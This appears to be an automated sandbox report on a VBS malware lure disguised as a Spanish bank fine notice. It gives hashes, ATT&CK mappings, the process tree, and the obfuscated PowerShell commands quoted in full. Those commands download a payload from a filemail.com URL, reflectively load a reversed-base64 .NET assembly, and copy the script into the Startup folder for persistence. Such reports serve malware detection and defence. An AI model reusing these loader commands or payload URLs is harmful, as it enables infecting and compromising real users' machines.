61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa

General

Target

DOCUMENTO_BANCARIO_APROBACION_MULTA_INMEDIATA_ad18184298489184ff189418941894ca189491841948ff48194919.vbs
Size

12KB
MD5

8825e4591cadaec1fb1d0082f84c2398
SHA1

39fca0a522686f7b9b2b9dc5e5874aebcf231159
SHA256

61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa
SHA512

d5b9c70136aaef8ca9aa1dfb32225632b69de90310ba4f9dcf35567ed58cfd6da8a6fbede4714a19ff41310af0e04bc54c7c6a95060840918efc5a31893fa2c9
SSDEEP

96:J86ymyaynXnLbv+mfupmtsgOgjAC9LFgtYif8fTFsgH2vX5bUdnL7vcumuZ4Y5Wx:JttRS/GpqDzj1eUhDH2Rb8RX1GHRkfkx

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	2404	WScript.exe
3	2404	WScript.exe
8	772	powershell.exe
9	772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2552	powershell.exe
2984	powershell.exe
772	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2800	cmd.exe
2140	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2140	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2552	powershell.exe
2984	powershell.exe
772	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	772	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2800	2404	WScript.exe	30
PID 2404 wrote to memory of 2800	2404	WScript.exe	30
PID 2404 wrote to memory of 2800	2404	WScript.exe	30
PID 2800 wrote to memory of 2140	2800	cmd.exe	32
PID 2800 wrote to memory of 2140	2800	cmd.exe	32
PID 2800 wrote to memory of 2140	2800	cmd.exe	32
PID 2800 wrote to memory of 2552	2800	cmd.exe	33
PID 2800 wrote to memory of 2552	2800	cmd.exe	33
PID 2800 wrote to memory of 2552	2800	cmd.exe	33
PID 2404 wrote to memory of 2984	2404	WScript.exe	34
PID 2404 wrote to memory of 2984	2404	WScript.exe	34
PID 2404 wrote to memory of 2984	2404	WScript.exe	34
PID 2984 wrote to memory of 772	2984	powershell.exe	36
PID 2984 wrote to memory of 772	2984	powershell.exe	36
PID 2984 wrote to memory of 772	2984	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENTO_BANCARIO_APROBACION_MULTA_INMEDIATA_ad18184298489184ff189418941894ca189491841948ff48194919.vbs"
1⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DOCUMENTO_BANCARIO_APROBACION_MULTA_INMEDIATA_ad18184298489184ff189418941894ca189491841948ff48194919.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\DOCUMENTO_BANCARIO_APROBACION_MULTA_INMEDIATA_ad18184298489184ff189418941894ca189491841948ff48194919.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'|').REplACE('PhR','$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0eb7d69f741055d0aca85672caf18b18

SHA1
bfd62ce946fcc70014774275b0bf6de174b0b235

SHA256
7eb83f5fe810184d2d0ecdfc0d12cc6f6f0c61602b7b143820e466692ea1228d

SHA512
f7f4fbc3de4e54f7e034635fb324abeac4b706d16ec562f729051344487620265712ef5f5ed2c470278038f413bd69bac61d002e1455c2714d4a7b63aa9e741c

Download Submit
memory/2552-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2552-5-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

Filesize
4KB

Download
memory/2552-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2552-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2552-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2552-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2552-13-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2552-7-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2552-6-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2984-19-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2984-20-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download

Analysis

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